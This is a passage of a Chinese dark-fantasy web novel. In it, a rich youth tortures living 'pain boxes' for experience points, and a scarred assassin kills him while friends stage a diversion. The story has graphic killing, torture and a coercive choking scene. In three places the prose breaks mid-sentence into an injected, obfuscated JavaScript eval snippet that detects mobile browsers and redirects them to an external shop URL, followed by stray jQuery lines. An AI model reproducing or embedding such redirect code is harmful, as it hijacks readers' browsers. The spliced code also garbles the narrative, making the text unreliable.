“经理已经知道您的情况了。”传讯镜说道,“我们已经查到对方的位置。最晚今天晚上就能将‘痛苦之匣’带来给您。您马上就到转职的关键时刻,还请您照顾好自己。”
“那个丑八怪呢?”陈少爷指名道姓道:“我要亲手割断他的喉咙。”
“当然没问题。”传讯镜道。他收到上面的消息,勒令他要在本周解决此事,彻底安抚好面前这位小少爷。哪怕这位小少爷是个表亲,可他能在他们真正的少爷面前说上话,就是极为不得了的事情。
也不知道他们老爷什么时候能重新得到夫人和少爷的心。传讯镜无端想着,嘴巴上连续说了好几个哄人开心的虐杀方式。
陈少爷听得连连点头,心情也不自觉好起来。
“第一目标还是找回‘痛苦之匣’。表哥已经卡在转职任务上很久了,我得找点东西让他玩一玩。”陈少爷说,“这东西能量产吗?”
“可以。但有限制。”传讯镜道:“您急着要的话,我们可以为找一个小一点的送给您。”
“效果一样吗?”陈少爷回忆起当时的场景。他调出自己的游戏面板,仔细查看上面的数据:来到这座城市后他就倦怠修行,根本没有锻炼身体,也没有读书,但他的各项数据都在稳步增长,经验条也从空空一条变成满当当的样子。
他盯着最后一点空隙,露出笑容。
“比不上上次那个,但也不算差。”传讯镜说道:“只用来玩肯定没问题。”
“那给表哥送一点去。”陈少爷转头交代自己的保镖,随后又觉得不妥,“算了。先送来给我一点。”
“好的。”传讯镜说道:“还要向您汇报件事情。我已经找到他的藏身之地,最迟明天早上便能将他抓回来。”
陈少爷一时间没反应过来什么藏身之地。还是保镖附耳低声几句,他才回忆起那人的面貌,暴跳如雷,“那个丑东西!把他的腿打断,还有他的家人,全部抓过来。我要把他们一个一个搞死。”
他说完还不够满足,指名道姓道:“把他们全部做成那个盒!全部!我要一个一个玩死他们。”
传讯镜罕见地没有答应下来。
他委婉地说道:“这件事情还得同经理商量一下。”
“他算个什么玩意!”陈少爷道:“你们还想不想见表哥了?我告诉你们,伺候不好我,我表姨夫第一个弄死你们。”
传讯镜沉默。
显然,他也在思考对策。
“少爷。消消气。您先体验下其他匣子。”他道:“我去问问经理。”
17:45,太阳西沉。
沈曙雀的目光从手中的义演宣传单挪到面前的商超上,老旧生鲜超市四周架起几根高高的手脚架,大灯下一连串的电线用电工胶带贴黏起来。演出台上,义演团成员正打扫掉布景留下的垃圾。台下一排一排安置着长板凳,早有老人小孩握着宣传单,零零散散占好位置。
属于乌修平的呼吸声正从劣质耳机里传来。
“那么紧张?”沈曙雀扶正头戴式耳机,“拜托,没什么可怕的。”
“你的伤还没好。”
“这样正好。人家碰到我,马上完蛋了。”沈曙雀说道,“比起你,我看上去更像个正常人。”
乌修平那张脸实在太有记忆点了。毕竟,很少能看到脸上这么多伤口,还活得好好的家伙。
耳机里,乌修平的声音明显迟钝下。
“早知道还是我来。”
“少来。这可是一次低调的行动。”沈曙雀忽然道:“啊呜。”
“嗯。”
“如果我变成平叔那样子。你一定要杀掉我。”沈曙雀认真道:“我不会想活着的,我必须亲口告诉你这件事情。”
“不要说这么不吉利的话。”
沈曙雀噗嗤笑起来,“未雨绸缪啦。啊呜。10分钟后见。”
耳机另一端,许久,才传来蒙蒙的声音。
“10分钟后见。阿雀。”
17:45
私立医院前的街道上,天空开始变得昏沉沉。太阳在短短几分钟坠亡,漫天红霞不断逼迫。人们匆匆行进,光辉中他们的脸开始变得模糊,下班的人流中少数的逆行者渺小又显眼。
乌修平穿着外卖服,不知道哪里捡来的摩托车头盔将他的脸遮盖得严严实实。他手中提着三四个小塑料袋,外卖打印条随奔跑一晃一晃。私立医院门口的保安抬起眼瞥了他两眼,没有多说什么,把人放了过去。
和旧时代的公立医院不同,这里的私立医院多提供给高职业者、有钱人、政客。光洁亮丽的大理石地板,映照出他头盔上薄薄一层灰。
没有什么人接应。
没有什么超强团队作为配合。
乌修平装作打电话的样子,钻入私立医院门与门的缝隙,冲入电梯中。
17:46,直通楼顶的高速电梯中,楼层数字缓慢跳动,几乎每到一层都有人进来,又有人出去。
乌修平攥紧了外卖。
17:48,商超面前的灯光终于亮起。义演团的成员们忙碌起来,沈曙雀寻找起叶生光所见过的“黑衣男人”。黄昏的风凉飕飕地吹,在一众短袖短裤的人里,沈曙雀拉了拉自己的长袖袖口,盖住手背上的东西。
17:49,随着门铃声。Vip病房外,女仆送来一个盒子。
和上次不同,这次的盒子只有13英寸大小,约有一个平板电脑大。
“这么小?”富二代困惑道:“还要用戒指打开吗?”
“当然不需要。”传讯镜娓娓道来做解说,“戒指的功能只是软化表面。您用戒指触碰后,直接上手便可。”
“这么简单?”
“当然。”传讯镜道:“简单才是最棒的。”
富二代却没有马上动作。他勾勾手,后方的保镖走上来,一刀扎入黑盒子中。那盒子顿时剧烈抽出起来,发出一种尖锐又凄厉的惨叫——这证明,他确实是真正的活物,具备“增加经验的效果”——保镖抽出刀,对雇主亮出自己的游戏面板,展现盒子的效果。
“这也太少了吧。”富二代不满地抱怨起来,“还不如大的五分之一。”
“小的也有小的好处。”传讯镜解释道:“方便携带,而且两大管饱。现在技术还没有到达那种程度。”
17:50商超。义演团。
“欢迎各位来到我们‘亲缘至上’的义演。”主持人笑容满面,介绍舞台上的数个皮偶,“今天我们表演的剧目是《爱丽丝梦游仙境》,这位就是我们的小女主角爱丽丝。爱丽丝和大家打一个招呼吧。”
小孩高的皮偶,鼓起来的脸颊上涂了厚厚的腮红。她随着表演者的动作,抬手露出微笑,提起裙子转圈,发出甜美的声音,“大家好,我是爱丽丝。”
沈曙雀坐在台下,跟着周围鼓掌。
她头顶是义演团支起的高脚灯。夜空晴朗,月亮西悬。强烈的舞台光效夺走月光和人们的注意力,黑呜呜的音响哐哐放起音乐,主持人扯着嗓子活跃气氛,鼓动所有人跟着节奏拍手。
“在表演之前,让我们先来热一下场子。欢呼声在哪里!。”
沈曙雀站起身。乌泱泱的观众席上,她并不是唯一一个站起来的人。观众源源不断地入场,提前占座的招呼亲友,晚来的互相推搡。劣质大喇叭里不断传来笑话。
“让一让。”沈曙雀道:“让一让。”
她拨开人群,挤过去,坐在那个黑衣男人身边。和叶生光描述得很相似,一个穿着义演团工服的男人。但真正让沈曙雀认定他是“他”的原因不止于此:就在她寻找对方的时候,对方也隐晦地观察她。
至此,他们彼此确认。
“只有你一个?”男人平静地询问。
沈曙雀回答:“很失望?”
“这种宗教团体对你们来说,是个很不错的选择。”男人自顾自分析道:“无论是你,还是那位伤疤,已经困在原本的等级很久了吧。”
沈曙雀承认对方说得是真话,但她今天不是来和对方说真话的。她伸出手,就像是所有不雅电影里放得那样,轻柔地抚摸下男人的大腿,过长的袖口迅速弹射出一根医用针。
“不管你说什么。不许动。”
沈曙雀撩起袖管。男人终于在此刻有了点表态。因为那空心针管的另一端连接着沈曙雀的静脉,一条红线正吐着蛇信,迫不及待冲入他的血管中。
“老套路啊。”男人先是错愕,随后否
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233327|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
认露出一种轻蔑的表情,“你觉得这能威胁我。”
电梯里,乌修平看向旁边人的手机,他没有自己的通讯设备,一只手压在自己的脉搏上,静静数着时间。在他心中,秒针正一针一针跳跃。
公共时间,17:50
电梯门滴一声打开。
还有五分钟。
乌修平知道自己的行动将开启一场无法避免的厮杀。由叶生光掌握的情报开始,他、沈曙雀、还有仁爱院能动员的所有力量都要开始四处逃窜,他们笨拙模仿书本上的“游击战”,在有限的空间和时间里发挥出自己最大的力量。
只剩下五分钟。
仁爱院将迎来狂风骤雨般的强权者们的报复。
富二代撩起袖子,握住旁边的水果刀。他第一次杀人,眼瞳里却闪烁着奇异的好奇的光芒。他的保镖为他扶住箱子,两个人似乎在分食一块甜美的蛋糕,第一刀,第二刀,涓涓鲜血不断飞溅到他的床铺上。
但在清晰的提示音下,一切都不再重要。
这种轻松提高等级的方式,简直和毒药一样:没有任何风险,没有任何代价,抛弃良心之后,站得比任何人都要高,都要远。
箱子里,最开始还传来一些强烈的尖叫与啜泣。逐渐地没有声息,直到最后,富二代抽出刀,不满地用手拍打箱子,“喂?怎么回事?还差一点。”
“已经用完了。”传讯镜解释道:“毕竟是仿制品,没有原版那么好用。”
“再叫一个来呗。”富二代理所应当地说道:“我还差一点点,就差一点点。”
门口传来清晰的敲门声。
按理来说,这个时间点并不应该有任何人进来。但随着开门声,一个女性身影暴露出来,富二代心中最后一点怀疑也消失了。他是来表姨夫这里玩的,整个集团,不光是表姨夫讨好他,就连表姨夫上下所有公司员工都在讨好他。
而这个女的,他记得是一个很会管理下属的经理家的女佣。
“出去。”富二代道:“我现在不想吃饭。”
女佣微微颔首,退了出去,麻烦保安将外卖员请出去。乌修平没有进入到vip病房,他的目光与女佣短暂接触,手掌胡乱擦拭头盔,平静地来到楼梯口。
商超。
沈曙雀将针管向前逼压几步。输血管中鲜血已经涌到针管口,只要她的手稍微抖一下,眼前的男人会彻底与她感同身受。已经见识过沈曙雀鲜血威力的男人,无奈地笑笑,举起双手,“很不错。另外一个呢?潜伏在附近?打算在这里杀了我?”
不。
他们杀不了这个男人。
沈曙雀感到针尖无法继续向前。她赌这个男人身上穿了软甲一类的防护武器。她鲜血的作用暴露后,其威慑力便极为有限。而她也在赌,这个男人无法断定她的血能否穿透这些防具。
他们都在赌。
“闭嘴。”沈曙雀道:“看完这场戏。”
“另外一位在医院呢。”男人忽然说道:“算算时间,痛苦之匣也该有反应了。你们处理不了……这么一算,你们想要杀表少爷。那可不行。”
这位虽然比不上他们公司真正的少爷尊贵,但能与少爷沾边也是极为尊贵的存在。万一被杀掉,男人简直能想象出经理与老板震怒的表情。
他竭力克制住自己的声音别发抖,“真不想杀你啊。”
沈曙雀手指向前推。
男人手甩开她的手。他们双方迅速向后撤退,尚未有人坐的板凳飞出去。尚未入座的观众们惊弓之鸟般散开。沈曙雀感到自己胸口一阵钝痛,就在她捂住胸口大口呼吸的时刻。两把短刀左右各自别过来,沈曙雀抬起手,瓶盖拧开的矿泉水泼向对方。
尚未失去效果的鲜血混杂在其中,只要沾上一点,都能有效阻碍住对方。
沈曙雀的任务是拦住对方。
只要拦住,就是胜利!
楼顶天台。
天色已经完全暗下来了。乌云一层一层地覆盖上来,强烈的风拍打在大厦身上,乌修平手中的外卖都被吹得噼里啪啦响。
医院17层,楼高77米,再多一层就是无间地狱。
乌修平拆开外卖盒,狠狠咬一口里面花钱买的包子。他向后两步,一段助跑后,从17楼跃出去!他大块吃肉,在失重之前,两腮鼓鼓得都是肉汁与面皮。
他像个饿死鬼,决不能空着肚子上路!
大部分人注意到一个人影一闪而过,瞬间,一片蛛网在医院玻璃上炸开。在完全的失重状态下,乌修平倒挂在医院窗玻璃上,凭借加点得来的力量,他冲入确认好的vip病房,外卖塑料袋宛若两道翅膀,飞扬在他的身后。
刺客技能【突刺】,发动!
“是你!”保镖迅速抽出盾牌,站在雇主面前。
乌修平不需要说话。对他这样卑微的15级刺客而言,每一秒都会加剧死亡的风险,他所要做的就是冲上去。
杀掉对方。
乌修平抄起外卖盒砸向对方的脸——哪怕不是脸,是武器也好——用塑料袋包裹住的红色血浆轻而易举破碎。最好的保鲜设备在这一刻也完全失效。
【瘟疫与疾病之神的诅咒】发动!
能保留多少全看命!
乌修平直直冲向富二代。
没有一秒钟浪费,他掰住这家伙的脑袋,扬起刀用力扎入对方的咽喉,拖着他挣扎的身体,从17楼一跃而下。
18.第十七章
第十七章
痛觉是人类的防御机制。
如果转职时代打开了人类的限制器,那么痛觉就是人类的感受器。它的本质是游离的神经末梢,当伤害性刺激作用于肌体,引发组织损伤时,释放出化学物质。化学物质彷如发动机的燃料,触发出所谓的“痛觉”。
乌修平已经没有感觉了。
他并不是真的痛觉消失,他的身体本质上没有任何问题,他的神经完好。充当燃料的激素异常健康——只是长期的痛觉改造了他的大脑,让他在下意识屏蔽掉很多疼痛:
俗称“习惯了”。
地心引力的作用下,鲜血向上飞扬。
乌修平与富二代一并下坠。
三秒仿佛有一个世纪那般漫长。乌修平的头盔被富二代抓住,面镜上的血点被对方拍打成一片血雾。
他内心由衷生出一种痛快感觉。目光落在富二代的手掌上,那枚曾见过的戒指正套牢在对方手指上,乌修平控制刀,将其整个斩下,握住。
在空中,他只能做这样简单的动作。随后在坠落的瞬间,拽着富二代充作肉垫,借助下坠的重力,一路从咽喉刮到胸口。松开刀。擦头盔护目镜上的血,擦得衣服和镜面一道道红。
已经无所谓是否会留下痕迹。
乌修平打开面罩,将戒指含在嘴里。
技能【潜伏】发动。
身体却没有意料之内地跑起来。乌修平看向自己的小腿,这一刻他的身体才有种舒缓地酥酥的痛觉——牛仔裤外一截白点,是他的骨头。十七楼下坠哪怕有陈少爷作为肉垫,乌修平的耳鼓还是发出鼓风机的声音,疼痛源源不断从他的身体里抽走。
他从外卖服中抽出第二把刀。前方的医院大门正涌来大量保安,医院里手持枪械的医护人员装上弹夹,他唯一一的生路,是左前方挂上“维修”牌的一个下水道。而就这,也是确定下计划后,乌修平连夜扛着设备,一个人做起来的。
这些底层工作,乌修平不需要伪装,因为他真的做过水电工和掏粪工。
“哪里走!”头顶传来爆裂的风声。乌修平架起刀,那是把足有一米长的唐刀,十七米下坠的冲击力让刀身发出凄厉惨叫,乌修平双腿止不住酸软。陈少爷那位高傲保镖面目狰狞,牙齿之间的唾沫星子喷射到他的脸上。
好臭。
乌修平陡然下沉一刻,抽刀划走。他接连在地上打滚,所到之处,水泥地翘起,仿若洒在蛋糕上的巧克力碎。游走的雷电速度缠上乌修平断裂的腿骨,它尚未收紧,乌修平一刀扎在自己大腿上,硬生生割肉,剐掉数根雷电。
他的刀上沾满他自己的鲜血。
【诅咒。】乌修平在心中默念。
他的掌心亮起提前描绘好的符文。疼痛感一层一层从身上剥离,乌修平非常清楚疼痛消失不等于伤害不存在。但他的大脑已感知不到任何痛苦、麻木、酸涩与苦闷,他非常明白自己在做什么。
并不为此感觉到后悔。
大量爆出的鲜血在他周围形成一层薄薄的血雾。游走的电蛇越来越多,每一条电蛇碰到血雾都无法自控地扭曲起来,乌修平直至冲撞过去。他同时发动【潜行】,一次不行,就两次——反正过去他也是这么过来的,小腿越来越僵直,但和活下来比起来不值一提。
他挥舞刀,跳起来,劈开拦在面前的数条电蛇,金属制唐刀导流闪电,噼里啪啦的可怕声音在乌修平骨头各处炸开。
“该死。这家伙。”保镖看着乌修平仿若悍匪的英姿,一时摸不清真实情况。他从没有见过哪一个15级是这样的,而他也没见过天生感受不到疼痛的怪物,在客观事实和所得情报中,保镖理所当然任何是情报出了错误。
“打他的脚。”
收到明确的指令后,手握枪械的护士们对准了乌修平的脚。大量子弹霹雳般朝着乌修平批来,这也确实起到了短暂的效果。乌修平奔跑时明显踉跄一下,整个人向前摔,就是这么短短一下。保镖挥舞着刀砍下,明确对准乌修平的手。
他再次与这个杀死少爷的人面对面,狞笑着幻想将他做成人彘,却对上一双没有任何情绪的双眼——乌修平腾空收起手,人类的身体根本做不出这样极限的动作,他几乎在零点零几秒扭转身体,硬生生将躯干朝着另外一个撞过去。
在不知情的人眼中,这更像是保镖用刀背狠狠将乌修平打击出去。但只有这个握刀人自己知道,他锋利的刀刃如此切出去,只会将人顺滑切成两瓣,而非打高尔夫一般远远飞出去。
乌修平翻滚的身体就这样在枪林弹雨中旋转。不断有闷响从他身上响起,那是子弹击中身体的动静。乌修平宛若皮球摔打在地上,一只手已经完全变了形状,骨骼暴凸。他就是拿这只手当方向盘和加速器,硬生生控制着变速,强力地撞翻提前预设好的维修栅栏,翻到井盖边,一个扎子扑进去。
等保镖意识到不对劲,再钻进来。乌修平已如老鼠一般逃窜到下水道中,游走在穴鼠留给他的暗道中。
“胆小如鼠!有种就给我出来!滚出来!”保镖的咆哮一圈一圈回荡在地下。乌修平屏住呼吸,任由那些声音穿行。
他吐出戒指,握在手心,心跳逐渐恢复平静。
*
良久,医院门口。
保镖一无所获从下水道出来。他浑身脏污,皮肤恶臭,脸色铁青。
医生和治疗系们围在陈少爷身边,各种颜色的光芒不断闪烁,空荡荡的药水瓶不断放在地上。旧时代仪器也被拉上来,急救、打针、各种办□□番登场。保镖死死盯着少爷模糊的脸和断指,表情说不清楚愤怒还是恐惧。
“开什么玩笑?这是15级?”保镖咆哮着说道:“病房不是有防护罩吗?不是说防护罩可以抵御30级以下的攻击吗?那个家伙一击!一击就戳破了。”
世界上难道有全点力量的刺客吗?还是说,那家伙也发现了痛苦之匣的作用。
然后,使用了痛苦之匣?
焦灼的氛围里,嘀一声,陈少爷停止了呼吸。
一切全完了。
保镖索性下达了不死不休的命令,“集团不是找到地方了吗?别管是不是,不需要核实了。给我推平!!全部推平!”
“是。”
*
“下次真的要分一点给速度了。”乌修平蹲在下水道里。秽物就在他身边,他也不嫌弃脏,差不多就坐下处理自己的伤口。可惜诅咒效果反反复复,乌修平身边也没有什么好的药。他索性坐着等待沈曙雀出现。
沈曙雀没有如约出现。
乌修平等了一天一夜,也没有等到沈曙雀。
他狼狈爬出下水道,身上都是屎尿屁的臭味,不敢想沈曙雀到底是活着还是死了。有短短一个瞬间,乌修平思考用沈曙雀的生命去换平安生的生命是否值得——可这不是选择题,这也不应该成为选择题。
他们对乌修平来说都是重要的人。
“阿雀。”乌修平小心仔细地前行到商超附近,一瘸一拐翻动凌乱的桌椅。他掀开倒下的画布,幻想沈曙雀忽然钻出来大声嘲笑自己。
“阿雀。阿雀。”乌修平加快脚步,看到地上带着血渍的针管。他捡起来,无法判断出这是不是计划中那个“用于威胁敌人的类留置针”。甚至于在看到针管的瞬间,乌修平有那么一点后悔,又有那么一点憎恶。他无法判断这种情感向着谁,慌张握着瓶子,四
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268583|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下环顾。
曙雀。
曙雀在哪里?
“哦~真是精彩的大战。”花布小老鼠从犄角旮旯里钻出来,蹦蹦跳,“可怜的乌鸦,你快要哭了吗?”
乌修平本来不要哭的,被这只布老鼠一说,眼泪终于忍不住了。
“穴鼠。穴鼠先生。阿雀她。”
“晚上来我房间。”花布小老鼠撅起圆滚滚的棉花屁股,大声叫唤,“我想你了。你过来,我就告诉你那只鸟在哪里。”
乌修平呜呜哭起来。
不知为何,看到这只花布小老鼠,他内心忽然有了依靠。这种依靠并不是因为他知道穴鼠永远站在他这里,而是因为他知道穴鼠有89级。
“我。我会来的。”乌修平抽噎道:“阿雀。阿雀呢。”
“被人丢到那片荒坡上。”花布小老鼠嘀咕着,话题又岔开到其他地方,“我买了新的裤裤。你帮我拿快递,知道吗?小布鼠搬不动。我的辣条和薯片吃完了,还有可乐都给我买。”
乌修平频频点头。这一刻,他努力记布老鼠说了什么,他发誓今天晚上他绝对会让穴鼠满意。
只要曙雀没事。
他从地上爬起来,拖着自己的腿朝荒坡走去。在那,果然躺着一个血淋淋的人形。乌修平走过去,心惊胆战将人翻过来,“阿雀。啊!”
一个血肉模糊的男人面朝下躺着。他身边散落着沈曙雀带着的耳机,再加上天色黯淡,乌修平一时半会没认出来。但仔细悄悄,两者骨架和胖瘦还是有极大的不同。
更重要的是,他脸上、正面所受到的伤害都不是沈曙雀一个10级能造成的。
“阿雀。”乌修平心又一次揪起来。他伸出手在草上扫过,很快摩挲到另外一具身体,带着点粘稠的鲜血和温凉的手感。乌修平抓紧将人翻过来,呼唤道:“阿雀。阿雀。你怎么样?”
沈曙雀奄奄一息。她原本的伤口和新增的伤口重叠在一起,几乎没有什么好的地方,衣服更看不出原本的颜色,瘫在乌修平怀里,偶尔发出一两声闷哼。乌修平分辨不出,挚友到底是在喊疼,还是在呼唤自己的名字。
他只能怀抱起好友,竭力答应。
“我在这里。阿雀。阿雀不要睡。”
“我。我没睡。”沈曙雀嘴角都是血沫,“我哪里有这么容易死?”
“别说话。”乌修平脱下身上最后一件衣服。他听到草丛里小布老鼠的尖叫,几乎幻听到穴鼠的大声指责。但,无所谓了。
他娴熟包裹住沈曙雀,固定住一些伤口,带着沈曙雀前往预设好的疗伤之处。
那里,只有他们两。
沈曙雀的鲜血不会污染到其他人。
“啊呜。”沈曙雀低声道:“有个人,救了我。”她咳嗽好几声,“那人长得真好看,高高的,白白的,丹凤眼……”
“别说了。”乌修平肩膀上一阵阵白烟升起,沈曙雀鲜血里自带的诅咒正在与他的诅咒相互对冲。
鲜血凝固成血痂,不过不是乌修平的血,而是沈曙雀的血。
“我得,谢谢人家。”沈曙雀眼皮不住打颤,“再见面。得说谢谢。”她的声音越来越轻,脑袋依靠在乌修平脸颊上,沉沉地昏过去。
这天晚上,乌修平没有去穴鼠那。
他心惊胆战照顾沈曙雀,生怕下一刻曙雀就这样死掉。叶生光趋使瘸腿男孩过来一趟,送了药物和两瓶治疗药水。
“叶子姐姐说,平叔现在的情况吃不下一点水。”男孩道:“姐姐想你快点来一趟。”
乌修平答应,不自觉将平叔的事情放在穴鼠面前。
他想,去穴鼠那无非是做。
平叔不一样。
19.第十八章
第十八章
乌修平背着沈曙雀钻出下水道。叶生光早早带着孩子们打扫出一片空地。
此刻,整个仁爱院看不到一个人影,孩子的声音完全消失,就连不能自控的小婴儿哭声都停止。
整个院落沉入种可怕的死寂。
乌修平掀开防水布,找出提前藏好的纱布和碘酒,大块大块倒出来给沈曙雀止血。疼痛的刺激下,沈曙雀发出一两声呼喊,没多久又重新昏死过去。
不明不暗的天空,尚未熄灭的火烛在各路神仙面前摇晃,沿着转角与楼梯口投射下深潜交替的光影。
一个人影从屋内脱出来,穿着黑白色的修女服,嘴唇干瘪,极为虚弱。
“我来吧。”她伸出双手,语气坚定,“我不碰到曙雀,这个距离还在我的施法范围内。”随着一段乌修平听不懂的哼唱,火烛被奇诡的风吹灭,它所带来的光芒辉辉分散开数块,漂游着汇聚到沈曙雀面前,沈曙雀的呼吸也变得有力起来了。
明修女。
仁爱院【攻击、防御、治疗】三姊妹中的治疗职业者。
她所有头发都梳到修女头巾里,结束施咒后双眼疲倦,依旧站在楼梯昏暗处与二人对话,“姥姥把事情都和我说了。抱歉,我现在才赶回来。”
乌修平诚惶诚恐,“您没有下去吗?修女,你还好吗?”
修女停顿,随后说道:“死不了。”
珍妮道姑去世后,代替道姑下副本赚钱的人就变成了明修女。在乌修平的记忆里,明修女没有固定队伍,哪里能赚钱就去哪里。大概在五年前,在一次副本攻略中,明修女受了重伤,下副本次数下降,却又不得不下。
童姥姥需要照顾孩子,用技能保护孩子们不被人贩子拐走。乌修平和沈曙雀赚得那点钱吃喝都不够,更别提治疗修女了。
明修女本人也不喜欢过多谈论自己的伤势。简单和乌修平交流后,她错开身体,露出楼梯下一道更加幽深的缝隙,“拿到东西就去找安生吧。我的治疗对他没效果。”
乌修平赶快前去。
事实上,如果不是因为沈曙雀的血,他早就该这么去了。若不是沈曙雀只能由他照顾,乌修平第一个要跑向平安生。他迫不及待将戒指贴在平安生黑峻峻的油质薄膜上,眼睁睁看着那层薄膜融开。
黑色薄膜竟然像新娘头盖一般,给乌修平带来中诡异的期待感。
他紧张得无法说话,直至平安生的脸完全地展露在空气中。
他依旧紧闭着双眼,死了一般,躺在摇篮床中。
乌修平真想在喊一声平叔。可他又不知道要怎么办面对平安生。整个仁爱院里,明修女与童姥姥赞同他的行为。
——乌修平肯定,她们要知道自己内心最阴暗最不为人知的想法,肯定和曙雀、叶生光一样不赞成自己的行为。
他确实对平安生抱有别样的心思。
沈曙雀看透了他那点肮脏心思。穴鼠更是抄起东西,胡乱砸在他头上,要狠狠拘束他。
“平……”乌修平不敢去看,声音也变得渺小。他头上的头盔还没有完全摘下来,肉包子和鲜血带来的油膜叫人看不清面前的存在。
“修平。”
平安生忽然沙哑地喊了一句。
乌修平完全被冻住了。
他眯起眼,试图在头盔之外好好看着面前的男人。可是他又害怕摘掉头盔后,平叔被他的脸吓到,最终呆愣愣站在原地什么也不说。
平安生只能扭过头,用一种难以掩饰的绝望目光看着他。
“修平。何必呢?”平安生下巴已长出不少凌乱的胡须,因失去手脚,眼屎也没有办法自行擦去。整个仁爱院上下不是傻子、疯子、瞎子、瘸子就是比那些更可怜的人,饶是童姥姥、明修女也最多帮平安生每日洗漱一次。更多的卫生她们分身乏力,根本顾不上。
“何必为了我……”空气中多了几个叹息。平安生道:“杀了我吧。”
乌修平:“不要。”
他的声音在头盔里闷闷的,因过于狭窄。乌修平唯恐外面的人听不到,他掀开头盔,重复一遍,“不要。”
“有什么意义呢?”平安生仰面看着天花板。乌修平只能看到他的鼻尖、两腮说话时肌肉的弧度,“我已经是个废人了。”
乌修平不愿意听到这种话。他也不知道自己是怎么想的,扑上去,狠狠抓住平叔的胳膊——如果能够称之为胳膊的话。但那其实是没有骨头的一段肉,双掌拍上去,只有一阵肉感的波纹。乌修平将平安生从床上拽起来,他的嘴唇距离对方青色的胡茬仅有几分。
“你在说什么胡话。”乌修平脑子里出现得并不是多么温馨的画面。相反,在此时此刻,他想起曙雀、穴鼠、想起过去那些欺负自己的男同学们。他们用石头猛烈砸着自己,用削尖的铅笔戳自己的伤口,他们大声地嘲笑,一切都是那么糟糕,那么恶劣。
乌修平必须要用一种不容刻缓的姿态,惩罚他们。
他在梦里这么幻想过。
而这种对强大者的恶意在战斗后,被他毫不客气地宣泄出来。
“平叔。你在说什么胡话。平叔。”他的手指擦着平安生的嘴唇,好像那样就能抹除掉那句话,“我和曙雀在为你战斗啊。我们大家,仁爱院所有人都在为你战斗。”
你怎么可以这么说?
你怎么可以这么说?
“杀了我吧。”平安生轻轻咬下乌修平,那是他唯一还能自主控制的地方。但乌修平却有那么一刻幻想,权贵们将平安生的咽喉也割掉。这样他就不能再从这张嘴里听到任何“去死”的妄念。
他不愿意,也不甘心平安生这样死去。
“你怎么可以就这样死掉。”乌修平道:“我不允许事情就在这里结束。我不允许!要我做什么,你才能活下来吗?非要这么做吗?”
可是什么才能让平安生有活下来的希望吗?
爱?不。仇恨。
乌修平听到自己的心跳加速,战斗后咚咚作响的鼓膜,再次震动起来。一个可怕又充满欲望的想法在他脑袋中产生。他看向平安生的身体,手上的戒指闪烁着光芒,他的眼睛里也闪烁着光芒,“平叔。”
他的平叔,好像在这一刻充满了生命的活力。乌修平亢奋的精神注入他的大脑,叫这个失去四肢的成年男性完全活了过来。他在乌修平手中拼命挣扎,竭力试图大叫,乌修平攥起手指抵住他的口舌。
坚硬的牙齿。
柔软的舌头。
被挤压到无法呼吸的空间。平安生身体竭力颤抖起来,乌修平能感受到涎水从手指缝隙慢慢流淌下来,一种难以言喻的占据对方身体部分的快感冲上他的大脑,他简直无法言喻这种掌握对方生死的妙处!
他这样的脸,这样的身,这样的等级,这样的心注定无法得到的“爱”。
那就恨吧。
每天看到自己讨厌的人在面前,平叔就不甘心死去吧——就像他一样,被这种强烈的不甘心折磨着,痛苦地折磨着——直到死亡!
一阵强烈的电流从下蹿上来。乌修平感觉脊背到脑门冰凉,他低下头,理智重新席卷上来。原本抓着平安生的双手空空如也,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281908|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只有戒指不断闪烁着诡异的光。
平安生还是那个黑峻峻的32寸行李箱模样。
乌修平握着戒指,简直无法呼吸。
前方那不再是他亲爱的平叔,而是罪恶的大门。房间里充斥着他急促的狗喘气,直到一只脏兮兮的花布小老鼠钻出来,黑豆豆眼死死盯着乌修平。
乌修平吓得失声尖叫。无数阴谋诡计涌入他的大脑,终于让他无法释怀的对自己的唾弃,变为对某个人的恶意。
“是你。”乌修平牙齿碰着牙齿,“是你吗?是你吗?为什么。”
为什么要这样对我。
“拿来。”花布小老鼠发出穴鼠的声音,“我就知道男人管不住下半身。一道锁看起来还不够。”
乌修平微弱地发出挣扎,“不。不要。”
“不要什么不要。”花布小老鼠在脚下吱吱乱叫,气上头蹦跶到乌修平鞋子上狠狠踩一脚。可惜它就是个碎花布头缝起来的小布鼠,力气远不如真人,“我早该知道……你刚刚在幻觉里看到什么?是我,还是床上这个死人。”
乌修平发不出任何狡辩。他攥成一个拳头塞住自己的嘴巴。
坚硬的牙齿。
柔软的舌头。
